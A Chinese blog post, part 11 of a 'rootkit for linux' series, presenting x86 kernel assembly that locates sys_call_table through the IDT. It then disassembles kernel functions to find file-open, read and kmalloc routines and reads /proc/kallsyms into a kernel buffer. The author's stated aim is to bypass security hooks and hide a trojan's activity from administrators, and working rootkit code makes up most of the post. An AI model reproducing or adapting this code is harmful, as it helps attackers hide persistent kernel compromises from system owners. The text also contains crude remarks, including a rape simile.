您的位置:首页 > 运维架构 > Linux

rootkit for linux 11.“寻找入口点”的改进方法

2008-11-18 13:08 405 查看
昨天看了篇文章《Linux on-the-fly kernel patching without LKM

作者提供了一种 ring3 进 ring0 的方法,思路很不错。我们也可以用那篇文章里提供的方法进入 ring0。

我们现在用的是溢出,溢出的通用性差,但只需要普通用户权限即可。

作者的方法通用性好,但需要root权限。

第2篇文章“寻找入口点”用的是系统调用读/proc/kallsyms 的方法。当时我就觉得这方法很有必要改进一下。因为太不靠谱了。管理员通过对/proc/kallsyms的监控完全可以知道木马的行动(其实呢,没有哪个管理员真的会这样做)。反正无论管理员有没有监控,今天我们的这个方法都是能绕过常规的监控的。

网上有一种方法是获得 sys_call_table 的。然后一般是获得 sys_call_table 后就强制修改它,把某个sys_call重定向。这种方法是不大好的。我们千万不要使用。

我们的第一步也是获得 sys_call_table 。跟网上的方法一样。先 sidt ,找到 0x80 号中断的服务例程的偏移。然后寻找 call xx(%xx, x, %xx)。这样的指令。找到了那个指令,也就找到了 sys_call_table 。

那么找到 sys_call_table 后我们用什么方法来绕过 security_xxx 函数呢?

我们先看打开文件。

为了避免管理员在ring3下看到我们的行动,我们的打开的文件不能跟进程关联起来。do_filp_open就函数能满足我们的要求了,不需要再找更底层的。我们来看看怎么获得 filp_open。

我们现在只知道 sys_open 函数的地址,是从 sys_call_table 里得知的。

asmlinkage long sys_open(const char __user *filename, int flags, int mode)

{

long ret;

if (force_o_largefile())

flags |= O_LARGEFILE;

ret = do_sys_open(AT_FDCWD, filename, flags, mode);

/* avoid REGPARM breakage on x86: */

prevent_tail_call(ret);

return ret;

}

用大杀器xde获得 do_sys_open 的地址不是什么难事。

long do_sys_open(int dfd, const char __user *filename, int flags, int mode)

{

char *tmp = getname(filename);

int fd = PTR_ERR(tmp);

if (!IS_ERR(tmp)) {

fd = get_unused_fd();

if (fd >= 0) {

struct file *f = do_filp_open(dfd, tmp, flags, mode);

if (IS_ERR(f)) {

put_unused_fd(fd);

fd = PTR_ERR(f);

} else {

fsnotify_open(f->f_dentry);

fd_install(fd, f);

}

}

putname(tmp);

}

return fd;

}

IS_ERR(tmp)展开后就是 cmp $0xfffff000,%xx; ja xxx。判断返回值是否为错误号的一个宏。
if (fd >= 0) {展开后是 cmp ...; js 。
所以用xde寻找第一个js xxx。然后不用跳转,碰到的第一个call就是call do_filp_open了。

好了,文件打开的问题解决了。我们再来看看读文件。

我们说,在vfs层读取文件,方法从底层到高层有不少,我想了很久,觉得用 file->f_ops->read。这样,我们需要的偏移量就比较少。要知道,在这种手无寸铁的情况下,只知道有限的函数地址的情况下,我们没得选择。好比生活就像强奸一样。

file->f_ops->read 已经越过了 security_xxx 函数。如果管理员没有用第三方软件的话,这个函数是没有hook的。xbfs也是hook到这里而已。

我们首先要找到 f_ops 。

asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)

{

struct file *file;

ssize_t ret = -EBADF;

int fput_needed;

file = fget_light(fd, &fput_needed);

if (file) {

loff_t pos = file_pos_read(file);

ret = vfs_read(file, buf, count, &pos);

file_pos_write(file, pos);

fput_light(file, fput_needed);

}

return ret;

}

还是比较好办的。用xde找je xxx。找到之后的第一个 call 就是 call vfs_read。

或者偷懒,直接找第二个 call 也行。这函数反正比较简单,没啥事。

ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)

{

ssize_t ret;

if (!(file->f_mode & FMODE_READ))

return -EBADF;

if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))

return -EINVAL;

if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))

return -EFAULT;

.....

这个也好办。搜第一个 jne xxx。顺着跳转。然后出现的前两个 movl 0xxx(%xx),%xx 必然是在取 f_op 和 f_op->read 。因为c语言肯定会按顺序来做逻辑判断的。我在程序里偷懒了,反正到出问题的时候再改。

好了。现在我们的偏移都搞到了。可以读指定的文件了。

我们打算把全部符号表读到缓冲区里(大概650k+)。然后用自己的函数找。

但是这么大的空间我们上哪找?我们必须申请空间。但申请空间的函数 kmalloc 的地址我们现在还不知道,咋的办呢?

这时候又要靠我们的好哥们xde了。我们都知道 /proc/kallsyms 是一个/proc上的接口,代码里使用seq机制实现的(seq机制在《linux设备驱动程序》里有详细介绍),那它的read 必然指向 seq_read。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)

{

struct seq_file *m = (struct seq_file *)file->private_data;

size_t copied = 0;

loff_t pos;

size_t n;

void *p;

int err = 0;

mutex_lock(&m->lock);

/*

* seq_file->op->..m_start/m_stop/m_next may do special actions

* or optimisations based on the file->f_version, so we want to

* pass the file->f_version to those methods.

*

* seq_file->version is just copy of f_version, and seq_file

* methods can treat it simply as file version.

* It is copied in first and copied out after all operations.

* It is convenient to have it as part of structure to avoid the

* need of passing another argument to all the seq_file methods.

*/

m->version = file->f_version;

/* grab buffer if we didn't have one */

if (!m->buf) {

m->buf = kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);

if (!m->buf)

goto Enomem;

}

看到没。seq_read 里刚好有一个 kmalloc。吗的,真是一举三得啊。

那好办了,开动xde,找 je xxx。顺着跳转。找到第一个 call 就是了。

但是呢,这个 kmalloc 还有点不一样。kmalloc(m->size = PAGE_SIZE, ...);

size参数,gcc肯定把它当成一个常量来看。如果size参数是常量,那么根据 kmalloc 的定义,是这样展开的:

static inline void *kmalloc(size_t size, gfp_t flags)

{

if (__builtin_constant_p(size)) {

int i = 0;

#define CACHE(x) /

if (size <= x) /

goto found; /

else /

i++;

#include "kmalloc_sizes.h"

#undef CACHE

{

extern void __you_cannot_kmalloc_that_much(void);

__you_cannot_kmalloc_that_much();

}

found:

return kmem_cache_alloc((flags & GFP_DMA) ?

malloc_sizes[i].cs_dmacachep :

malloc_sizes[i].cs_cachep, flags);

}

return __kmalloc(size, flags);

}

[malloc_sizes.h]

#if (PAGE_SIZE == 4096)

CACHE(32)

#endif

CACHE(64)

#if L1_CACHE_BYTES < 64

CACHE(96)

#endif

CACHE(128)

#if L1_CACHE_BYTES < 128

CACHE(192)

#endif

CACHE(256)

CACHE(512)

CACHE(1024)

CACHE(2048)

CACHE(4096)

CACHE(8192)

CACHE(16384)

CACHE(32768)

CACHE(65536)

CACHE(131072)

#if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)

CACHE(262144)

#endif

#ifndef CONFIG_MMU

CACHE(524288)

CACHE(1048576)

#ifdef CONFIG_LARGE_ALLOCS

CACHE(2097152)

CACHE(4194304)

CACHE(8388608)

CACHE(16777216)

CACHE(33554432)

#endif /* CONFIG_LARGE_ALLOCS */

#endif /* CONFIG_MMU */

/* Size description struct for general caches. */

struct cache_sizes {

size_t cs_size;

kmem_cache_t *cs_cachep;

kmem_cache_t *cs_dmacachep;

};

extern struct cache_sizes malloc_sizes[];

linux的代码真是艺术品啊。能写出这样的代码,真的不是等闲之辈。。

如果size是常量,kmalloc就会返回一个大小为 2 的整数次幂的页面。因为 slab 背后的算法是“伙伴系统”。

对啊,这里要注意的是:内核编译选项中默认的分配算法是 slab,如果内核编译选项没有选择 slab 作为分配算法,那 kmalloc 就又不一样了,我们的代码就不支持了。我也没考虑这种情况。

kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);展开之后就是:

movl $0x1000,0x4(%esi)

mov $0xd0,%edx

mov $0xfffffff4,%edi

mov 0xc034ceb8,%eax

call 0xc016bf10

第一行,m->size = PAGE_SIZE。

第二行,movl $GFP_KERNEL, %edx

第三行,设置返回值,我们不管

第四行,就是movl malloc_sizes[i].cs_cachep, %eax

第五行,call kmem_cache_alloc。

这里 malloc_sizes[i].cs_size = 0x1000。因为seq_read分配的是 4K大小。我们要1M。因为内核符号表就 650K+ 了。总不能给 512K吧。我们要 1MB 也不过分。现在的机子内存动辄上G,我们拿走一两m,管理员也不会觉得看a片会变卡一点。

我们只要把malloc_sizes[i]的 i 增加一点就行了。

Linux on-the-fly kernel patching without LKM 》这篇的作者也提出了一种方法找 kmalloc 。我觉得他的方法不好,他自己也说那个方法的成功率是 80 % 。他的方法是 2.2 ~ 2.4 版本适用的,如果有人要在2.6用那个方法,必须修改一下。2.4的内核的gcc编译选择,还没有把fastcall作为默认的函数调用约定。所以调用函数是 push xxx; push xxx; call xxx;

而在2.6则是 movl xxx, %eax; movl xxx, %edx; call xxx。

好了,我们现在达到目的了,可以把/proc/kallsyms 的内容读出来了。

今天也重写了 ksyms_lookup 的代码。觉得以前写的代码真烂,还有bug。不过这几天写熟了,就好了一点。

贴代码贴代码

读 idt

// set KERNEL_DS

movl %esp, %eax

andl $0xffffe000, %eax

movl 0x18(%eax), %ebx

movl %ebx, 0x1c(%esp)

movl $0xffffffff, 0x18(%eax)

1: GET_ADDR(idt_ptr, %ebx)

sidt (%ebx)

movl 2(%ebx), %ebp

#ifdef _KSYM_DEBUG_

movl %ebp, 4(%esp)

DPRINT("<3>idt at%lx/n")

#endif

movw (0x80 * 8 + 6)(%ebp), %ax

shl $16, %eax

movw (0x80 * 8)(%ebp), %ax

movl %eax, %ebp

#ifdef _KSYM_DEBUG_

movl %eax, 4(%esp)

DPRINT("<3>int 0x80 sr at %lx/n")

#endif

找 vfs_read

movl %ebp, %esi

leal 0x100(%esi), %edi

1: GET_ADDR(struct_dism, %edx)

movl %esi, %eax

call xde_dism

testl %eax, %eax

jz loader_out

movl %eax, %ebp

cmpb $0xff, dism_opcode(%edx)

jz 2f

addl %ebp, %esi

cmpl %edi, %esi

jl 1b

jmp ksyms_init_out_failed

2: movl 3(%esi), %ebp

#ifdef _KSYM_DEBUG_

movl %ebp, 4(%esp)

DPRINT("<3>sys_call_table at %lx/n")

#endif

movl (5 * 4)(%ebp), %ebx // __NR_open = 5

SET_VAL32(sys_open, %ebx)

movl (3 * 4)(%ebp), %ebp // __NR_read = 3

#ifdef _KSYM_DEBUG_

GET_VAL32(sys_open, %eax)

movl %eax, 8(%esp)

movl %ebp, 4(%esp)

DPRINT("<3>sys_read at %lx, sys_open at %lx/n")

#endif

movl $2, %ebx

movl %ebp, %esi

leal 0x100(%esi), %edi

1: GET_ADDR(struct_dism, %edx)

movl %esi, %eax

call xde_dism

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %ebp

cmpb $0xe8, dism_opcode(%edx)

jnz 3f

decl %ebx

jz 2f

3:

addl %ebp, %esi

cmpl %edi, %esi

jl 1b

jmp ksyms_init_out_failed

2: movl 1(%esi), %ebp

leal 5(%esi), %esi

addl %esi, %ebp

#ifdef _KSYM_DEBUG_

movl %ebp, 4(%esp)

DPRINT("<3>vfs_read at %lx/n")

#endif

找 f_op, read 的偏移

xorb %bl, %bl

movl %ebp, %esi

leal 0x100(%esi), %edi

1: GET_ADDR(struct_dism, %edx)

movl %esi, %eax

call xde_dism

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %ebp

cmpb $0x8b, dism_opcode(%edx)

jnz 4f

testb $1, %bl

jz 3f

movzbl 2(%esi), %ecx

testb $2, %bl

jnz 5f

SET_VAL32(file.f_op, %ecx)

orb $2, %bl

jmp 3f

5: SET_VAL32(file_operations.read, %ecx)

jmp 2f

4: cmpb $0xc3, dism_opcode(%edx)

jnz 3f

orb $1, %bl

3: addl %ebp, %esi

cmpl %edi, %esi

jl 1b

jmp ksyms_init_out_failed

2:

#ifdef _KSYM_DEBUG_

GET_VAL32(file.f_op, %eax)

movl %eax, 4(%esp)

GET_VAL32(file_operations.read, %eax)

movl %eax, 8(%esp)

DPRINT("<3>file.f_op %lx, file_operations.read %lx/n")

#endif

找 do_filp_open

GET_VAL32(sys_open, %esi)

leal 0x100(%esi), %edi

1: GET_ADDR(struct_dism, %edx)

movl %esi, %eax

call xde_dism

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %ebp

cmpb $0xe8, dism_opcode(%edx)

jz 3f

2: addl %ebp, %esi

cmpl %edi, %esi

jl 1b

jmp ksyms_init_out_failed

3:

movl 1(%esi), %ebp

leal 5(%esi), %esi

addl %esi, %ebp

#ifdef _KSYM_DEBUG_

movl %ebp, 4(%esp)

DPRINT("<3>do_sys_open at %lx/n")

#endif

xorb %bl, %bl

movl %ebp, %esi

leal 0x100(%esi), %edi

1: GET_ADDR(struct_dism, %edx)

movl %esi, %eax

call xde_dism

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %ebp

cmpb $0xe8, dism_opcode(%edx)

jnz 4f

testb $1, %bl

jz 2f

jmp 3f

4: cmpw $0x7f78, (%esi)

jnz 2f

orb $1, %bl

2: addl %ebp, %esi

cmpl %edi, %esi

jl 1b

jmp ksyms_init_out_failed

3:

movl 1(%esi), %ebp

leal 5(%esi), %esi

addl %esi, %ebp

SET_VAL32(do_filp_open, %ebp)

#ifdef _KSYM_DEBUG_

GET_VAL32(do_filp_open, %eax)

movl %eax, 4(%esp)

DPRINT("<3>do_filp_open at %lx/n")

#endif

打开 /proc/kallsyms

// file = do_filp_open(AT_FDCWD, "/proc/kallsyms", O_RDONLY, 0);

GET_VAL32(do_filp_open, %ebp)

movl $-100, %eax

GET_STR("/proc/kallsyms", %edx)

xorl %ecx, %ecx

movl $0, (%esp)

call *%ebp

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %esi

movl %esi, 0x18(%esp)

GET_STRUCT_VAL32(%esi, file.f_op, %ebx)

GET_STRUCT_VAL32(%ebx, file_operations.read, %ebp)

movl %ebp, 0x14(%esp)

#ifdef _KSYM_DEBUG_

movl %ebp, 4(%esp)

DPRINT("<3>file opened, file->f_op->read at %lx/n")

#endif

找 kmalloc ,分配 ksyms 的内存

xorb %bl, %bl

movl %ebp, %esi

leal 0x100(%esi), %edi

1: movl %esi, %eax

GET_ADDR(struct_dism, %edx)

call xde_dism

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %ebp

testb $1, %bl

jnz 3f

cmpw $0x840f, (%esi)

jnz 2f

orb $1, %bl

movl 2(%esi), %edx

leal 6(%esi), %esi

addl %edx, %esi

leal 0x100(%esi), %edi

jmp 1b

3: cmpb $0xe8, dism_opcode(%edx)

jz 4f

cmpb $0xa1, dism_opcode(%edx)

jnz 2f

movl 1(%esi), %edx

movl %edx, (%esp)

2: addl %ebp, %esi

cmpl %edi, %esi

jl 1b

jmp ksyms_init_out_failed

4:

movl (%esp), %eax

movl (8 + 7 * 12 + 4)(%eax), %edi

movl 1(%esi), %ebp

leal 5(%esi), %esi

addl %esi, %ebp

#ifdef _KSYM_DEBUG_

movl %edi, 8(%esp)

movl %ebp, 4(%esp)

DPRINT("<3>kmem_cache_alloc at %lx, param 1 is %lx/n")

#endif

// buf = kmem_cache_alloc(malloc_sizes[1MB].cs_cachep, GFP_KERNEL | __GFP_ZERO);

movl %edi, %eax

movl $0x80d0, %edx

call *%ebp

testl %eax, %eax

jz ksyms_init_out_failed

movl %eax, %esi

SET_VAL32(ksyms, %esi)

#ifdef _KSYM_DEBUG_

movl %esi, 4(%esp)

DPRINT("<3>kmem_cache_alloc 1MB for kallsyms at %lx ok!/n")

#endif

读 /proc/kallsyms 到缓冲区

#define posl 0x4

#define posh 0x8

movl $0, posl(%esp)

movl $0, posh(%esp)

// file->f_op->read(file, buf, 1024 * 1024 * 1, &pos);

1: movl 0x18(%esp), %eax

movl 0x14(%esp), %ebp

leal posl(%esp), %ebx

movl %ebx, (%esp)

movl %esi, %edx

movl $(1024 * 1024), %ecx

call *%ebp

testl %eax, %eax

jz 3f

addl %eax, %esi

jmp 1b

3:

#undef posh

#undef posl

#ifdef _KSYM_DEBUG_

movl %esi, 4(%esp)

DPRINT("<3>read kallsym ok! content: %.10s .../n")

#endif

重写的 ksym_lookup 代码,解决了以前的 bug:

// fastcall unsigned long ksym_lookup(char *name, int len)

// @name: name of the function to find

// @len: len of the name

// return: addr of the function

EXPORT_LABEL(ksym_lookup)

PUSH_ALL

subl $0x14, %esp

movl $0, 0xc(%esp)

movl %eax, (%esp)

movl %edx, 4(%esp)

#ifndef _TEST_

// saved = get_fs(); set_fs(KERNEL_DS);

movl %esp, %eax

andl $0xffffe000, %eax

movl 0x18(%eax), %ebx

movl %ebx, 0x10(%esp)

movl $0xffffffff, 0x18(%eax)

#endif

#ifndef _TEST_

GET_VAL32(ksyms, %esi)

#else

movl %ecx, %esi

#endif

ksym_lookup_getline:

movl %esi, %edi

1: cmpb $0, (%esi)

jnz 4f

movl $-1, 0xc(%esp)

jmp ksym_lookup_out

4: cmpb $'/n', (%esi)

jz 2f

incl %esi

jmp 1b

2:

movl %edi, %edx

movl $2, %eax

1: cmpb $' ', (%edi)

jnz 2f

decl %eax

jz 3f

2: incl %edi

cmpl %esi, %edi

jl 1b

movl $-2, 0xc(%esp)

jmp ksym_lookup_out

3:

leal 1(%edi), %edi

leal 1(%esi), %ebp

movl (%esp), %esi

movl 4(%esp), %ecx

cld; rep cmpsb

je 1f

jmp ksym_lookup_next

1:

cmpb $'_', (%edi)

je ksym_lookup_next

cmpb $'0', (%edi)

jl 3f

cmpb $'9', (%edi)

jle ksym_lookup_next

cmpb $'a', (%edi)

jl 3f

cmpb $'z', (%edi)

jle ksym_lookup_next

3:

xorl %eax, %eax

movl $9, %esi

2: movb (%edx), %bl

cmpb $' ', %bl

jz 3f

cmpb $'a', %bl

jb 4f

cmpb $'f', %bl

jna 6f

movl $-4, 0xc(%esp)

jmp ksym_lookup_out

6: subb $('a' - 10), %bl

jmp 5f

4: cmpb $'0', %bl

jnb 7f

movl $-5, 0xc(%esp)

jmp ksym_lookup_out

7: cmpb $'9', %bl

jna 8f

movl $-6, 0xc(%esp)

jmp ksym_lookup_out

8: subb $'0', %bl

5: shl $4, %eax

movb %al, %cl

andb $0xF0, %cl

orb %cl, %bl

movb %bl, %al

incl %edx

decl %esi

jnz 9f

movl $-7, 0xc(%esp)

jmp ksym_lookup_out

9: jmp 2b

ksym_lookup_next:

movl %ebp, %esi

jmp ksym_lookup_getline

3:

movl %eax, 0xc(%esp)

ksym_lookup_out:

#ifndef _TEST_

movl %esp, %ebx

andl $0xffffe000, %ebx

movl 0x10(%esp), %ecx

movl %ecx, 0x18(%ebx)

#endif

movl 0xc(%esp), %eax

addl $0x14, %esp

POP_ALL

ret
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: